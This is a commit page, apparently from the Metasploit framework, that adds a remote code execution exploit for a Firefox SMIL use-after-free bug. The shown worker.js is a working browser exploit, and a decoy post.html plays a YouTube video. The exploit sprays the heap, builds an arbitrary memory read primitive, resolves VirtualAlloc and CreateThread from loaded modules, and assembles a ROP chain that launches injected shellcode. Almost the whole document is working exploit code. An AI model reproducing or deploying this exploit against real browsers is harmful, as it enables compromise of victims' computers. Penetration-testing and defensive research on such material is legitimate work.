Skip to content

Commit f4db90e

Browse files
wchen-r7wchen-r7
committed
Land rapid7#7852, Firefox nsSMILTimeContainer::NotifyTimeChange() rce
2 parents 53af3f2 + 0464888 commit f4db90e

File tree

4 files changed

+692
-0
lines changed

4 files changed

+692
-0
lines changed

‎data/exploits/firefox_smil_uaf/post.html

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<html><body bgcolor="#2F3236"><center><div><iframe width="1280" height="720" src="https://www.youtube.com/embed/wArxEk0Rxhc?autoplay=1" frameborder="0" allowfullscreen></iframe></div></center></body></html>

‎data/exploits/firefox_smil_uaf/worker.js

+362
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,362 @@
1+
var window = self;
2+
3+
function Memory(b,a,f)
4+
{
5+
this._base_addr=b;
6+
this._read=a;
7+
this._write=f;
8+
this._abs_read = function(a) {
9+
a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
10+
return 0>a?4294967295+a+1:a
11+
12+
};
13+
this._abs_write = function(a,b) {
14+
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
15+
};
16+
this.readByte = function(a) {
17+
return this.read(a) & 255
18+
19+
};
20+
this.readWord = function(a) {
21+
return this.read(a) & 65535
22+
};
23+
this.readDword = function(a){ return this.read(a) };
24+
this.read = function(a,b) {
25+
if (a%4) {
26+
var c = this._abs_read( a & 4294967292),
27+
d = this._abs_read( a+4 & 4294967292),
28+
e = a%4;
29+
return c>>>8*e | d<<8*(4-e)
30+
}
31+
return this._abs_read(a)
32+
};
33+
this.readStr = function(a) {
34+
for(var b = "", c = 0;;) {
35+
if (32 == c)
36+
return "";
37+
var d = this.readByte(a+c);
38+
if(0 == d)
39+
break;
40+
b += String.fromCharCode(d);
41+
c++
42+
}
43+
return b
44+
45+
};
46+
this.write = function(a){}
47+
}
48+
49+
function PE(b,a) {
50+
this.mem = b;
51+
this.export_table = this.module_base = void 0;
52+
this.export_table_size = 0;
53+
this.import_table = void 0;
54+
this.import_table_size = 0;
55+
this.find_module_base = function(a) {
56+
for(a &= 4294901760; a; ) {
57+
if(0x5a4d == this.mem.readWord(a))
58+
return this.module_base=a;
59+
a -= 65536
60+
}
61+
};
62+
this._resolve_pe_structures = function() {
63+
peFile = this.module_base + this.mem.readWord(this.module_base+60);
64+
if(0x4550 != this.mem.readDword(peFile))
65+
throw "Bad NT Signature";
66+
67+
this.pe_file = peFile;
68+
this.optional_header = this.pe_file+36;
69+
this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120);
70+
this.export_directory_size = this.mem.readDword(this.pe_file+124);
71+
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
72+
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
73+
this.resolve_imported_function=function(a,b){
74+
void 0==this.import_directory&&this._resolve_pe_structures();
75+
for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){
76+
var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
77+
if(a.toUpperCase()==d.toUpperCase()){
78+
for(var c = this.mem.readDword(e) + this.module_base,
79+
e = this.mem.readDword(e+16) + this.module_base,
80+
d = this.mem.readDword(c),
81+
f = 0 ; 0 !=d ; )
82+
{
83+
if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase())
84+
return this.mem.readDword(e+4*f);
85+
f++;
86+
d = this.mem.readDword(c+4*f)
87+
}
88+
break
89+
}
90+
e+=20
91+
}
92+
return 0
93+
};
94+
void 0!=a && this.find_module_base(a)
95+
}
96+
97+
function ROP(mem,a){
98+
this.mem = mem;
99+
this.pe = new PE(mem,a);
100+
this.pe._resolve_pe_structures();
101+
this.module_base = this.pe.module_base + 0x1000;
102+
103+
this.findSequence = function(seq) {
104+
for(var b=0;;) {
105+
for(var e=0,c=0;c<seq.length;c++)
106+
if(this.mem.readByte(this.module_base+b+c)==seq[c]&&e==c)
107+
e++;
108+
else
109+
break;
110+
if(e==seq.length)
111+
return this.module_base+b;
112+
b++
113+
114+
}
115+
116+
};
117+
this.findStackPivot=function() {
118+
return this.findSequence([0x94, 0xc3])
119+
120+
};
121+
this.findPopRet=function(a) {
122+
return this.findSequence([0x58, 0xc3])
123+
124+
};
125+
this.ropChain=function(base, vtOffset, array = undefined) {
126+
var buf = undefined
127+
if (array != undefined)
128+
buf = array
129+
else
130+
buf = new ArrayBuffer(0x1000)
131+
ropBuff = new Uint32Array(buf);
132+
var stackPivot = this.findStackPivot(),
133+
popRet = this.findPopRet("EAX"),
134+
virtualAllocAddr = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
135+
136+
ropBuff[0]= popRet+1;
137+
ropBuff[1]= popRet;
138+
ropBuff[2]= base+vtOffset+4;
139+
ropBuff[3]= stackPivot;
140+
ropBuff[vtOffset>>2] = stackPivot;
141+
142+
offset = (vtOffset+4>>2);
143+
ropBuff[offset++]=virtualAllocAddr;
144+
ropBuff[offset++]=base+(vtOffset+0x1c);
145+
ropBuff[offset++]=base;
146+
ropBuff[offset++]=0x1000;
147+
ropBuff[offset++]=0x1000;
148+
ropBuff[offset++]=0x40;
149+
ropBuff[offset++]=0xcccccccc;
150+
151+
return ropBuff;
152+
}
153+
}
154+
155+
var conv=new ArrayBuffer(8)
156+
var convf64=new Float64Array(conv)
157+
var convu32=new Uint32Array(conv)
158+
159+
var qword2Double=function(b,a) {
160+
convu32[0]=b;
161+
convu32[1]=a;
162+
return convf64[0]
163+
}
164+
165+
var doubleFromFloat = function(b,a) {
166+
convf64[0]=b;
167+
return convu32[a]
168+
}
169+
170+
var sprayArrays=function() {
171+
var mArray = new Array(0x1fffe)
172+
var arrBuf = new ArrayBuffer(0x100000);
173+
var dwArray = new Uint32Array(arrBuf)
174+
var qwArray = new Float64Array(arrBuf, 0x10)
175+
176+
177+
for (var i = 0; i < 0x1fffe; i++)
178+
mArray[i] = qword2Double(0, 0);
179+
180+
mArray[2] = qword2Double(arrBase + 0xaf0, 0)
181+
mArray[0xe] = qword2Double(arrBase + 0x08, 0)
182+
mArray[0x15] = qword2Double(0, 0x02)
183+
mArray[0x21] = qword2Double(0x02, 0)
184+
mArray[0x22] = qword2Double(arrBase + 0x2f0, arrBase + 0x1f0)
185+
mArray[0x3e] = qword2Double(0, arrBase + 0x3f0)
186+
mArray[0x5e] = qword2Double(arrBase + 0x4f0, 0)
187+
mArray[0x80] = qword2Double(0x02, 0)
188+
mArray[0x9f] = qword2Double(arrBase + 0x500,0)
189+
mArray[0xa0] = qword2Double(0, 0xf0000000)
190+
mArray[0xa2] = qword2Double(0, 0xbff00000)
191+
mArray[0xa4] = qword2Double(0x02, 0)
192+
mArray[0xa5] = qword2Double(0x01, 0)
193+
mArray[0xaa] = qword2Double(0, arrBase + 0x5f0)
194+
mArray[0xac] = qword2Double(arrBase + 0x6f0, arrBase + 0x700)
195+
mArray[0xb3] = qword2Double(0, 0x02)
196+
mArray[0xb4] = qword2Double(0, 0)
197+
mArray[0xde] = qword2Double(arrBase + 0x7f0, 0)
198+
mArray[0xfe] = qword2Double(0x01, 0);
199+
mArray[0xff] = qword2Double(0, 0x10000000)
200+
mArray[0x15e] = qword2Double(0x07, 0)
201+
mArray[0x15f] = qword2Double(arrBase + 0xf0, arrBase - 0x10 + 0x05)
202+
mArray[0x160] = qword2Double(arrBase - 0x07, arrBase - 0x10 + 0x0d)
203+
mArray[0x161] = qword2Double(arrBase + 0x10000b, arrBase + 0x100007)
204+
mArray[0x162] = qword2Double(arrBase + 0x100003, 0)
205+
mArray[0x202] = qword2Double(arrBase + 0x1af0, 0)
206+
mArray[0x20e] = qword2Double(arrBase + 0x1008, 0)
207+
mArray[0x215] = qword2Double(0, 0x02)
208+
mArray[0x221] = qword2Double(0x02, 0)
209+
mArray[0x222] = qword2Double(arrBase + 0x12f0, arrBase + 0x11f0)
210+
mArray[0x23e] = qword2Double(0, arrBase + 0x13f0)
211+
mArray[0x25e] = qword2Double(arrBase + 0x14f0, 0)
212+
mArray[0x280] = qword2Double(0x02, 0)
213+
mArray[0x29f] = qword2Double(arrBase + 0x1500,0)
214+
mArray[0x2a0] = qword2Double(0, 0xf0000000)
215+
mArray[0x2a2] = qword2Double(0, 0xbff00000)
216+
mArray[0x2a4] = qword2Double(0x02, 0)
217+
mArray[0x2a5] = qword2Double(0x01, 0)
218+
mArray[0x2aa] = qword2Double(0, arrBase + 0x15f0)
219+
mArray[0x2ac] = qword2Double(arrBase + 0x16f0, arrBase + 0x1700)
220+
mArray[0x2b3] = qword2Double(0, 0x02)
221+
mArray[0x2b4] = qword2Double(0, 0x00)
222+
mArray[0x2de] = qword2Double(arrBase + 0x17f0, 0)
223+
mArray[0x2fe] = qword2Double(0x01, 0)
224+
mArray[0x2ff] = qword2Double(0, 0x10000000)
225+
226+
var i = mArray.length;
227+
while(i--) {qwArray[i] = mArray[i];}
228+
229+
for (var i = 0; i < spr.length; i += 2)
230+
{
231+
spr[i] = mArray.slice(0)
232+
spr[i + 1] = arrBuf.slice(0)
233+
}
234+
}
235+
236+
var spr = new Array(400)
237+
var arrBase = 0x22100010;
238+
239+
// insert codes here \/ ------
240+
Shellcode = unescape("INSERTSHELLCODEHEREPLZ");
241+
242+
if (Shellcode.length % 2 != 0)
243+
Shellcode += "NOPSGOHERE";
244+
245+
sprayArrays();
246+
postMessage(arrBase)
247+
248+
249+
var len = spr[0].length;
250+
var mArray = undefined;
251+
var dwArray = undefined;
252+
var qwArray = undefined;
253+
var container = undefined;
254+
255+
while (mArray == undefined)
256+
{
257+
for (var i = 0; i < spr.length; i += 2)
258+
{
259+
if (spr[i].length != len)
260+
{
261+
container = dwArray = new Uint32Array(spr[i + 1])
262+
qwArray = new Float64Array(spr[i + 1], 0x10)
263+
if (dwArray[1] == 0)
264+
{
265+
dwArray = new Uint32Array(spr[i - 1])
266+
dwArray[0] = dwArray[1] = dwArray[2] = dwArray[3] = 0xdea110c8;
267+
qwArray = new Float64Array(spr[i - 1], 0x10)
268+
}
269+
mArray = spr[i];
270+
break;
271+
}
272+
}
273+
}
274+
275+
var off = 0x100000;
276+
if (dwArray != container)
277+
off = off * 2;
278+
279+
var memory = new Uint32Array(0x10);
280+
var len = memory.length;
281+
mArray[0x20000] = memory;
282+
ropArrBuf = new ArrayBuffer(0x1000)
283+
mArray[0x20001] = ropArrBuf;
284+
ropArrBufPtr = container[0x6]
285+
286+
targetAddr = container[4] + 0x1b;
287+
var arrayBase = container[4] + 0x30;
288+
289+
mArray[0x20000] = undefined;
290+
mArray[0x20001] = undefined;
291+
292+
var n = 0x40;
293+
qwArray[0x35e] = mArray[0x35e] = qword2Double(n + 1, 0)
294+
qwArray[0x35f] = mArray[0x35f] = qword2Double(arrBase - 0x10 + 0x1100, targetAddr)
295+
for (var i = 0; i < (n/2); i++)
296+
qwArray[0x360 + i] = mArray[0x360 + i] = qword2Double(targetAddr, targetAddr)
297+
298+
container[0] = container[1] = container[2] = container[3] = 0xffffff81;
299+
qwArray[0x1e] = mArray[0x1e] = qword2Double(0xdea110c8, 0)
300+
qwArray[0xfe] = mArray[0xfe] = qword2Double(2, 0)
301+
qwArray[0xb3] = mArray[0xb3] = qword2Double(0, 3)
302+
qwArray[0xa9] = mArray[0xa9] = qword2Double(0, 2)
303+
304+
while (memory.length == len) {}
305+
306+
307+
var mem = new Memory(arrayBase,
308+
function(b) { return memory[b/4]; },
309+
function(b,a) { memory[b/4] = a; });
310+
311+
var ptr = targetAddr - 0x1b;
312+
var xulPtr = mem.readDword(ptr + 0xc);
313+
var rop = new ROP(mem, xulPtr);
314+
var ropBase = mem.readDword(ropArrBufPtr + 0x10);
315+
rop.ropChain(ropBase, 0x130, ropArrBuf);
316+
var backupESP = rop.findSequence(Array(0x89, 0x01, 0xc3))
317+
var ropChain = new Uint32Array(ropArrBuf)
318+
ropChain[0] = backupESP;
319+
CreateThread = rop.pe.resolve_imported_function('KERNEL32.dll', 'CreateThread')
320+
321+
ropChain[0x12c >> 2] = ropChain[0x130 >> 2];
322+
323+
for (var i = 0; i < ropChain.length; i++)
324+
{
325+
if (ropChain[i] == 0xcccccccc)
326+
break;
327+
}
328+
329+
ropChain[i++] = 0xc4819090;
330+
ropChain[i++] = 0x00000800;
331+
ropChain[i++] = 0x5050c031;
332+
ropChain[i++] = 0x5b21eb50;
333+
ropChain[i++] = 0xb8505053;
334+
ropChain[i++] = CreateThread;
335+
ropChain[i++] = 0xb890d0ff;
336+
ropChain[i++] = arrBase + 0x2040;
337+
ropChain[i++] = 0x5f58208b;
338+
ropChain[i++] = 0xbe905d58;
339+
ropChain[i++] = 0xFFFFFF00;
340+
ropChain[i++] = 0x000cc2c9;
341+
ropChain[i++] = 0xffffdae8;
342+
ropChain[i++] = 0x909090ff;
343+
344+
for (var j = 0; j < Shellcode.length; j += 2)
345+
ropChain[i++] = Shellcode.charCodeAt(j) + Shellcode.charCodeAt(j + 1) * 0x10000;
346+
347+
mArray[0x400] = qwArray[0x400] = qword2Double(arrBase + 0x2000, 0)
348+
mArray[0x400 + (0x10 >> 3)] = qwArray[0x400 + (0x10 >> 3)] = qword2Double(0, arrBase + 0x2040)
349+
mArray[0x400 + (0x18 >> 3)] = qwArray[0x400 + (0x18 >> 3)] = qword2Double(4, 0)
350+
mArray[0x400 + (0x40 >> 3)] = qwArray[0x400 + (0x40 >> 3)] = qword2Double(ropBase, 0)
351+
mArray[0x400 + (0xac >> 3)] = qwArray[0x400 + (0xac >> 3)] = qword2Double(0, 2)
352+
353+
for (var i = 0; i < 4; i++) {
354+
container[0x400 + i] = 0xdea110c8
355+
}
356+
357+
qwArray[0x21e] = mArray[0x21e] = qword2Double(0xdea110c8, 0)
358+
qwArray[0x2fe] = mArray[0x2fe] = qword2Double(2, 0)
359+
qwArray[0x2b3] = mArray[0x2b3] = qword2Double(0, 3)
360+
qwArray[0x2a9] = mArray[0x2a9] = qword2Double(0, 2)
361+
362+
postMessage("!")

0 commit comments

Comments
 (0)